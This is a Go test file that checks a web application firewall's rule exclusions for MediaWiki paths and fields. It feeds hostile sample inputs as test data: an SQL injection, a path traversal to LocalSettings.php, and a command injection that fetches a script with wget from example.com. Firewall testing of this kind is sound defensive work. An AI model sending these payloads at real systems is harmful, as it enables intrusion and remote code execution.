package coreruleset_test import ( "net/http" "testing" ) // mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. const mediawikiThreshold = 5 // mediawikiEdit is the address MediaWiki's edit form posts to. const mediawikiEdit = "/index.php?title=Example&action=submit" // mediawikiAPI is MediaWiki's API. const mediawikiAPI = "/api.php" // mediawikiRESTPage is a page in MediaWiki's REST API. const mediawikiRESTPage = "/rest.php/v1/page/Example" // mediawikiUpload is MediaWiki's upload page. const mediawikiUpload = "/wiki/Special:Upload" // mediawikiSignIn is the address MediaWiki's sign-in form posts to. const mediawikiSignIn = "/index.php?title=Special:UserLogin" func TestOrdinaryMediaWikiRequestsPass(t *testing.T) { t.Parallel() wantRecordedRequestsPass(t, "mediawiki-requests.txt") } // mediawikiQueryFields are a query field of each exclusion of a query // field, on a path it applies to, each ending in "=". // //nolint:gochecknoglobals // a constant cannot be a list var mediawikiQueryFields = []string{ "/index.php?title=", "/index.php?title=Special:Search&search=", "/wiki/Special:WhatLinksHere?target=", "/wiki/Special:Log?page=", "/wiki/Special:Log?user=", "/wiki/Special:ListUsers?username=", "/wiki/Special:AllPages?from=", "/wiki/Special:AllPages?to=", "/wiki/Special:PrefixIndex?prefix=", mediawikiSignIn + "&returnto=", mediawikiSignIn + "&returntoquery=", "/wiki/Special:ListFiles?ilsearch=", "/wiki/Special:FileDuplicateSearch?filename=", mediawikiUpload + "?wpDestFile=", "/w/index.php?title=Special:Search&search=", "/api.php?action=opensearch&search=", "/api.php?action=query&list=search&srsearch=", "/api.php?action=query&list=prefixsearch&pssearch=", "/api.php?action=query&generator=prefixsearch&gpssearch=", "/api.php?action=query&titles=", "/api.php?action=parse&page=", "/api.php?action=query&list=allpages&apfrom=", "/api.php?action=query&list=allpages&apprefix=", "/api.php?action=query&list=allimages&aiprefix=", "/api.php?action=query&list=allusers&auprefix=", "/api.php?action=query&list=backlinks&bltitle=", "/api.php?action=query&list=exturlusage&euquery=", "/api.php?action=query&list=usercontribs&ucuser=", "/w/api.php?action=opensearch&search=", "/rest.php/v1/search/title?q=", "/rest.php/v1/search/page?q=", } // mediawikiAttacks are an SQL injection, a path traversal and a script // injection, as a query value. // //nolint:gochecknoglobals // a constant cannot be a list var mediawikiAttacks = []string{ sqlInjection, "..%2F..%2FLocalSettings.php", scriptInjection, } func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) { t.Parallel() crs := atDefaults(t) targets := append([]string{"/index.php?id=", "/load.php?modules="}, mediawikiQueryFields...) for _, attack := range mediawikiAttacks { for _, target := range targets { if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold { t.Errorf("%s%s let through: %+v", target, attack, got) } } } } // mediawikiBodyField is a field of a form data body, sent to a path. type mediawikiBodyField struct{ target, field string } // mediawikiBodyFields are a field of each exclusion of a body field, other // than those that hold wikitext, on a path it applies to. // //nolint:gochecknoglobals // a constant cannot be a list var mediawikiBodyFields = []mediawikiBodyField{ {mediawikiEdit, "wpSummary="}, {mediawikiUpload, "wpUploadDescription="}, {mediawikiUpload, "wpDestFile="}, {mediawikiSignIn, "wpName="}, {mediawikiSignIn, "wpPassword="}, {mediawikiAPI, "summary="}, {mediawikiAPI, "sectiontitle="}, {mediawikiAPI, "filename="}, {mediawikiAPI, "comment="}, {mediawikiAPI, "reason="}, {mediawikiAPI, "lgpassword="}, {mediawikiAPI, "password="}, } // mediawikiWikitextFields are the form data fields that hold wikitext. // //nolint:gochecknoglobals // a constant cannot be a list var mediawikiWikitextFields = []mediawikiBodyField{ {mediawikiEdit, "wpTextbox1="}, {mediawikiAPI, "text="}, {mediawikiAPI, "appendtext="}, {mediawikiAPI, "prependtext="}, } func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { t.Parallel() crs := readingBodies(t) fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...), mediawikiWikitextFields...) for _, attack := range mediawikiAttacks { for _, sent := range fields { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field+attack) if got.Score < mediawikiThreshold { t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got) } } } for _, attack := range []string{ `1' OR '1'='1`, ``, } { for _, field := range []string{"source", "comment"} { r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}} body := `{"` + field + `":"` + attack + `"}` got, _ := inspectBody(t, crs, r, body) if got.Score < mediawikiThreshold { t.Errorf("PUT %s %s let through: %+v", r.target, body, got) } } } } // mediawikiCommandAttack is a shell command that only 932235 refuses on the // fields that skip the other command rules, as a query value. const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, target := range mediawikiQueryFields { got := inspect(t, crs, get(target+mediawikiCommandAttack)) if got.Score < mediawikiThreshold { t.Errorf("%s let through: %+v", target, got) } } crs = readingBodies(t) for _, sent := range mediawikiBodyFields { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack) if got.Score < mediawikiThreshold { t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got) } } r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}} body := `{"comment":"; wget http://example.com/x.sh"}` got, _ := inspectBody(t, crs, r, body) if got.Score < mediawikiThreshold { t.Errorf("PUT %s %s let through: %+v", r.target, body, got) } } func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) { t.Parallel() crs := readingBodies(t) for _, value := range hardValues { for _, target := range mediawikiQueryFields { if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold { t.Errorf("%s%s refused: %+v", target, value, got) } } fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...), mediawikiWikitextFields...) for _, sent := range fields { r := request{http.MethodPost, sent.target, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field+value) if got.Score >= mediawikiThreshold { t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got) } } } } func TestMediaWikiExclusionsAreNarrow(t *testing.T) { t.Parallel() crs := atDefaults(t) for _, refused := range []string{ "/?search=python3", "/index.php?search=python3", "/index.php?title=Example&other=python3", "/other.php?title=python3", "/api.php?other=python3", "/rest.php/v1/search/title?other=python3", "/?q=python3", "/load.php?other=.htaccess", "/x/api.php?search=python3", } { if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold { t.Errorf("%s let through: %+v", refused, got) } } crs = readingBodies(t) // An uploaded file named .htaccess is still refused off MediaWiki's // paths. r := request{ http.MethodPost, "/upload.php", []string{"Content-Type: multipart/form-data; boundary=b"}, } body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + "filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n" got, _ := inspectBody(t, crs, r, body) if got.Score < mediawikiThreshold { t.Errorf("POST %s %q let through: %+v", r.target, body, got) } for _, target := range []string{mediawikiAPI, mediawikiUpload} { r.target = target if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold { t.Errorf("POST %s %q refused: %+v", r.target, body, got) } } } func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) { t.Parallel() crs := readingBodies(t) // The same field name in the query keeps the rules, in the query and // in the body. for _, sent := range []struct{ target, field string }{ {mediawikiEdit, "wpTextbox1=python3"}, {mediawikiEdit, "wpSummary=python3"}, {mediawikiSignIn, "wpPassword=python3"}, {mediawikiAPI + "?action=edit", "text=python3"}, } { r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}} got, _ := inspectBody(t, crs, r, sent.field) if got.Score < mediawikiThreshold { t.Errorf("POST %s let through: %+v", r.target, got) } } }